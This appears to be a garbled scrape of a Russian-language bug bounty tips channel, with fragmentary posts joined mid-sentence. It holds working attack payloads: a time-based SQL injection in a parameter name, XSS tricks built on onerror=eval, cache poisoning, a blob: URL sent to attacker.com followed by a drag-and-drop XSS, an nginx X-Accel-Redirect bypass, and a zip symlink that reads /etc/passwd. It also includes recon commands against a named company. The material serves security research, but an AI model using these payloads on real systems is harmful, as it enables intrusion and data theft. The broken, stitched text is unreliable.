💨 Пример пэйлоада:
someparam[id) VALUES (NULL); WAITFOR DELAY '0:0:5';--]=test
ST @standoff_bb_tips
Showing posts older than #152 · Back to latest

someparam[id) VALUES (NULL); WAITFOR DELAY '0:0:5';--]=test

session cookies, localStorage или другие данные для ATO


filename заголовка Content-Disposition предлагает имена файлов для загружаемых или скачиваемых файлов:HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="invoice.pdf"
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="myfile.txt"
Content-Type: text/plain
* позволяет указать кодировку и использовать URL-кодирование:Content-Disposition: form-data; name="file"; filename*=UTF8''myfile%0a.txt
filename*, ты можешь ввести управляющие символы или обойти ограничения на имена файлов — это открывает дорогу к перезаписи файлов и другим кейсам.file:///path/to/file), но также допускает указание хоста: file://<host>/<path>. Используя схему URI файла с указанием хоста, можно обойти фильтры или получить DNS-запросы для отслеживания рабочего процесса в целевом приложении.
_id (user_id, order_id, product_id). Эти элементы являются внешними ключами, связанными с базой данных.В Proxy > Options > Match and Replace задай в поле Match шаблон, который захватывает слово перед _id (например, user из user_id).
Выбери тип запроса: Request First Line (для путей, например /user_id/123) или Request Param Name (для параметров, например ?user_id=123).
Настрой замену для создания множественного числа: в поле Replace добавь 's' к захваченному слову (например, user_id превратится в users).

./garden.sh start --build gunicorn hyper nginx haproxy
repl:./garden.sh repl
garden> payload 'GET / HTTP/1.1\r\nHOST: a\r\n\r\n' | transduce haproxy | fanout | grid
...

onerror на eval позволяет выполнить сообщение об ошибке как кодalert`test`
Function`alert\u00281\u0029` ``
\u0028 и \u0029).hash:Function`_${location.hash.slice`1`}` ``onerror на eval и создание валидного JS-кода из сообщения об ошибке:onerror = eval
throw '=alert\x281\u0029'
Uncaught =alert(1), что является валидным кодом (Uncaught становится переменной).{onerror=alert}throw 1throw onerror=alert,1
Error:throw onerror=eval,x=new Error,x.message='alert\x281\x29',x
throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]
a[12] и a[13] извлекают ( и ) из строки функции URL/1/g — regexp, который в строке становится "/1/g"Uncaught /1/g(1337,3331,117) — валидный кодTypeError.prototype.name:TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
TypeError, чтобы сообщение об ошибке начиналось с =/, формируя regexp, который комбинируется с -alert(1).
*.example.com). Тогда приходится искать самому — вот рабочий воркфлоу.asnmap -asn AS51115 -silent
echo "178.248.233.0/24" | dnsx -ptr -resp -o reverse_dns.txt
echo "178.248.233.0/24" | tlsx -p 443,3443,8443,9443,10443 -cn -san -o tlsx_result.txt
revwhoix -k "Positive Technologies, CJSC"
subfinder -d standoff365.com -silent
puredns bruteforce wordlist.txt standoff365.com -w subdomains_standoff365.com.txt
cat subdomains_standoff365.com.txt | alterx | dnsx -o alterx_resolved_subdomains_standoff365.com.txt


jdk.tls.maxHandshakeMessageSize). Это ломает перехват трафика у приложений с большими TLS Handshake сообщениями (обычно из-за длинной цепочки сертификатов).-Djdk.tls.maxHandshakeMessageSize=65536
.vmoptions Burp. Если файла нет — создай вручную и укажи путь через настройки запуска Burp.
const element = createElement(type, props, ...children)
type: может быть либо строкой с именем тега (т.е. div становится <div></div>), либо классом компонента, который будет вызван для построения элемента.props: может быть либо объектом, либо null. Пары ключ/значение в объекте будут присвоены создаваемому элементу как атрибуты, если type — строка с именем тега, или как свойства, если type — это класс компонента....children: дочерний узел (узлы) создаваемого элемента.createElement() через один или несколько из этих параметров, он может влиять на генерацию HTML и достичь DOM XSS/CSS injection (в зависимости от версии).createElement(), то параметры, которые ты можешь задать, определяют, чего ты можешь достичь ⬆️

Extensions → BApp Store → WebSocket Turbo Intruder или CLI:java -jar WebSocketFuzzer-2.0.0.jar <scriptFile> <requestFile> <endpoint> <baseInput>
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{"user":"You"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
POST /proxy?url=https://example.com/endpoint HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}


window.open(), alert() и другим обычным window-API, которые доступны при классической XSS.fetch() в воркерах работает в том же origin, что и main window — значит с запросами отправляются куки, и при корректных CORS-заголовках можно читать ответы.// Отравление кеша
fetch("https://example.com/script.js", {
headers: { "X-Forwarded-Host": `"-alert(origin)-"` },
cache: "reload"
});
postMessage(). Если окно получает данные и вставляет их в DOM или выполняет eval без валидации — это путь к эскалации в полноценную XSS.// main window
const worker = new Worker("worker.js");
worker.addEventListener("message", (e) => {
alert(e.data); // потенциальная точка уязвимости
});
// worker.js
postMessage("Hello, world!");
WorkerGlobalScope доступен объект caches, общий для страницы и service воркера. Если использует кэш, воркер может перезаписать записи в cache storage — это дает вектор для XSS.Blob, получаешь для него blob:-URL (URL.createObjectURL(blob)), а затем заставляешь браузер открыть этот URL в обычном контексте (не в воркере).blob:-URL имеет тот же origin, поэтому при открытии выполнится с доступом к DOM и localStorage.blob:-URL напрямую часто блокируется. Решение — «утечка» URL и интерактивный шаг пользователя:const blob = new Blob(['<script>alert(origin)</script>'], {type: "text/html"});
const url = URL.createObjectURL(blob);fetch("https://attacker.com/leak?" + new URLSearchParams({ url }));blob:-URL наружу:fetch("https://attacker.com/leak?" + new URLSearchParams({ url }))<a href="blob:https://example.com/...">Перетащи меня</a>
<script>
ondragstart = (e) => {
window.open("", "", "left=0,top=0,height=9999,width=9999");
e.dataTransfer.clearData();
e.dataTransfer.setData("text/uri-list", "blob:https://example.com/...");
}
</script>
blob:-URL открывается в новой вкладке, выполняя XSS с доступом ко всем API. Работает как минимум в Chrome!
proxy_pass. Пример — в конфиге выше ⤴️@app.route('/')
def index():
headers = json.loads(unquote(request.args.get("headers")))
return Response("Hello, world!", headers=headers) X-Accel-Redirect перепишет URL и выполнит повторную оценку конфигурации — в результате будет возвращён ответ по новому пути. /internal, то будет использован обработчик для location /internal, даже несмотря на то, что запрошенный путь остаётся /. Это позволяет обойти проверку internal;, что обычно было бы невозможно при удалённом обращении.GET /?headers={"X-Accel-Redirect":"/internal"} HTTP/1.1HTTP/1.1 200 OK
...
Internal
X-Accel-Charset: задаёт charset в Content-TypeX-Accel-Buffering: включает или отключает буферизацию ответаX-Accel-Limit-Rate: скорость (в байтах в секунду) передачи клиентуX-Accel-Expires: время истечения кеша для ответа
Project Options → Sessions → Macros → AddHandling Rules → Add создай новое правилоRun a macro и укажи созданный макросNull payloads и установи concurrent requests = 1
Content-Type: application/json, что указывает браузеру на структурированные данные. Браузеры в таком случае не пытаются интерпретировать JSON как HTML или JavaScript.Content-Type: text/html (или другой неправильный тип)Content-Type:id: 6620a595-520b-1ba2-2b20-5ea8568fdb89
name: Filter JSON responses with incorrect content type
function: VIEW_FILTER
location: PROXY_HTTP_HISTORY
source: |+
return !requestResponse.request().method().equals("OPTIONS");
var contentType = requestResponse.hasResponse() ? requestResponse.response().headerValue("Content-Type") : null;
if (contentType != null && !contentType.contains("application/json")) {
String body = requestResponse.response().bodyToString().trim();
return body.startsWith( "{" ) || body.startsWith( "[" );
}
return false;

$ ln -s /etc/passwd test.txt
$ zip --symlinks test.zip test.txt
https://domain.com/test.txt